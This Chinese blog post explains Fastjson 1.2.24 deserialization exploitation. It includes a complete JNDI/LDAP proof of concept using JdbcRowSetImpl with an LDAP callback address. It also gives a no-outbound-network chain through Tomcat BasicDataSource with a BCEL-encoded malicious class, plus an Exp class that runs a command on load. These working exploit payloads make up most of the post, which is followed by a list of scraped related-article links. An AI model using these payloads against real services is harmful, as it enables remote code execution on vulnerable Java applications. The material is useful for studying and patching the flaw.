1、1.2.24漏洞利用-JNDI

漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;

该类实现了JdbcRowSwt接口,继承自BaseRowSet; package com.sun.rowset;

其中setAutoCommit方法中的else分支调用了connect方法

这个方法用于获取数据库连接。它首先检查是否已经存在连接(this.conn),如果存在则直接返回;如果没有,则根据配置获取数据库连接。

而获取连接的方式是如果配置了数据源名称 (this.getDataSourceName() != null),则尝试通过 JNDI 查找数据源,然后获取连接。如果配置了用户名和密码,则使用提供的用户名和密码来获取连接。

DataSourceName有对应的Set方法;

为空的情况下会调用父类的setDataSourceName方法,父类仅仅做了是否为空的判断,然后就是简单的赋值。

所以我们可以反序列化这个类,然后设置属性autocommit,让其调用connect方法,通过 JNDI 查找数据源,而数据源的地址设置为恶意地址,使其执行恶意命令。

使用Yakit生成LDAP反连地址,构造恶意类,执行clac命令。

完整POC如下:

public class Main {
public static void main(String[] args) {
String str1="{\"@type\":\"org.example.bean.FastJsonJdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/qjMfJBxp\",\"autoCommit\":0}";
//FastJsonJdbcRowSetImpl是我自己创建的一个类 实际上可以直接用JdbcRowSetImpl
JSONObject jsonObject = JSON.parseObject(str1);
}
}

2、1.2.24 不出网利用

这里只给出了paseObject方法的利用链,paseObject方法会调用所有get方法,后续有时间再补充pase方法利用链,或者可以参考文章:

https://forum.butian.net/share/2040

String s1="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
\"DriverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$93$84$d81N$n$81$EJi$v$l$85$84C$7d$e9$z$88KE$a5$aanA$N$K$e2$b8$d9$$aS$c7$8e$i$H$f2$8fz$e6$C$VHp$ef$8f$aa$98u$a34$SX$f2$cc$ce$7b3o$9e$d7$7f$fe$de$de$D$f8$80$9a$83$C$96$j$bc$c4$8a$8dW$s$afZxm$e1$8d$83$3c$d6$y$bc$b5$b0N$c8$ef$e9P$t$fb$84l$ad$de$o$e4$3eF$3f$Ua$ce$d7$a1$fa6$ec$b5U$7c$y$da$B$pe$3f$92$oh$89X$9bz$M$e6$92s$3d$mT$fd$u$eexj$qz$fd$40ym$rB$ef$60$d4o$Q$ec$3d$Z$8c$e5$89$db$x$7eW$5c$IOG$de$e7$c3$83$91T$fdDG$n$b7$V$9b$89$90$3f$bf$8a$7e$w$cb$s$JN3$g$c6R$7d$d2f$8d$cdj$ef$cd$a8$L$H$b3$W6$5clb$8b$d7$b3$p$e9$e2$j$b6$J$L$cfH$TVR4$Qa$c7$fb$3e$M$T$ddS$T$d2h$ed$Q$W$9f$b3N$98$ff$3fx$d8$ee$w$99$QJO$b4$d8fG$r$93$a2R$ab$fbOz$f8$f3rj$a4$qa$a76$c56$93X$87$9d$c6$f4$c0Q$iI5$Y$f0$c0$f2t$e7$f1y$i$5d$9a$7bi$d4$5bX$87$cd$3f$d5$3c$Z$90$b9$M$8e$$W$kg$e2$3c$b3$7b$D$baJ$e9$o$c7$fc$3f$Q$_8$ba$e3$f3$i$e69$db$uM$86$cf$90M$b9$a5$df$c8$94$b3$d7$c8$9d$fcB$f1$cb$j$f2$a7$acf$3d$5c$a5d$81$5bg$b8$d1$c8V$f9$84$d4$c9$y$a3$F$c6$i$c6$dc$c9$9a$oce$yp$b5$c8$af$85$8co$a1R$60$a2$9a$3a$5bz$E3$a2$e2$80$a3$C$A$A\",
\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}
}";
public class Exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
//可以使用javac 编译,或使用Repository 且编译后需要encode
}

FastJson反序列化2-1.2.24漏洞利用的更多相关文章

  1. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  2. fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...

  3. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  4. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  5. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  6. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  7. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  8. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  9. fastjson反序列化漏洞历史CVE学习整理

    fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...

  10. FastJson 反序列化漏洞原理分析

    Fastjson 简介 fastjson框架:https://github.com/alibaba/fastjson fastjson-jndi:https://github.com/earayu/f ...

随机推荐

  1. OpenWrt的dnsmasq, ipset和iptables配置

    说明 这篇文章主要用于介绍在运行OpenWrt的MT7621系列路由器上, 如果安装v2rxy并开启自动出园功能. 这里介绍的是最佳实践, 不同于常见的代理方法. 通过ipset和iptables配合 ...

  2. Jsp+Servlet实现文件上传下载(二)--文件列表展示

    接着上一篇讲: Jsp+Servlet实现文件上传下载(一)--文件上传 点击打开链接 本章来实现一下上传文件列表展示,同时优化了一下第一章中的代码. 废话少说,上代码 --------------- ...

  3. Failed to bind properties under ” to com.zaxxer.hikari.HikariDataSource

    1.问题说明 今天配置spring boot多数据源,同时用到了oracle和postgresql,结果配置完毕后启动报这个错. 2.原因分析 忘记添加postgresql驱动了!!! 3.解决方案 ...

  4. 如何设置 vcpkg 依赖特定编译器

    最近项目要部署到 gitlab-ci 上,所以远程机器上也要安装好编译环境 在相关的环境安装完后,发现编译项目时提示找不到三方库的符号文件 看到这个错误的第一反应就是依赖库的版本不对,因为远程机器上不 ...

  5. ASP.NET 读取FTP文件流

    参考资料 ASP.NET 上传文件到共享文件夹 工具类代码 /// <summary> /// 读取ftp文件流 /// </summary> /// <param na ...

  6. 1-Django框架简介以及基本操作

    安装 注意:安装的磁盘目录,以及后续通过Django创建目录的时候,不要出现中文,否则会出现预料之外的错误 建议:禁止套娃,即不要在A项目中创建B项目 # 如果不指定版本号,默认最新版 pip ins ...

  7. 符合ISO26262标准的建模规范检查模型静态分析静态测试工具

    Model Examiner - 功能安全解决方案(以下简称MXAM)测试套件是您进行全面静态模型分析的首选工具.MXAM提供了一种简单的方法来检查建模规范.分析模型结构和评估模型指标,所有这些功能都 ...

  8. 高性能图计算系统 Plato 在 Nebula Graph 中的实践

    本文首发于 Nebula Graph Community 公众号 1.图计算介绍 1.1 图数据库 vs 图计算 图数据库是面向 OLTP 场景,强调增删改查,并且一个查询往往只涉及到全图中的少量数据 ...

  9. Jmeter 之 forEach控制器

    1 添加方法: 线程组右键-> 添加 -> 逻辑控制器 ->ForEach控制器   2 作用: 可以更方便JMeter后置处理器提取出来的多组数据,也可以定义具有特定规则的数据,用 ...

  10. cpu过高什么原因?怎么排查?

    运行大型程序或应用程序:当计算机运行大型程序或应用程序时,CPU需要处理更多的数据和指令,因此CPU占用率会相应地增加. 病毒或恶意软件:某些病毒或恶意软件会占用计算机的CPU资源来执行恶意任务,例如 ...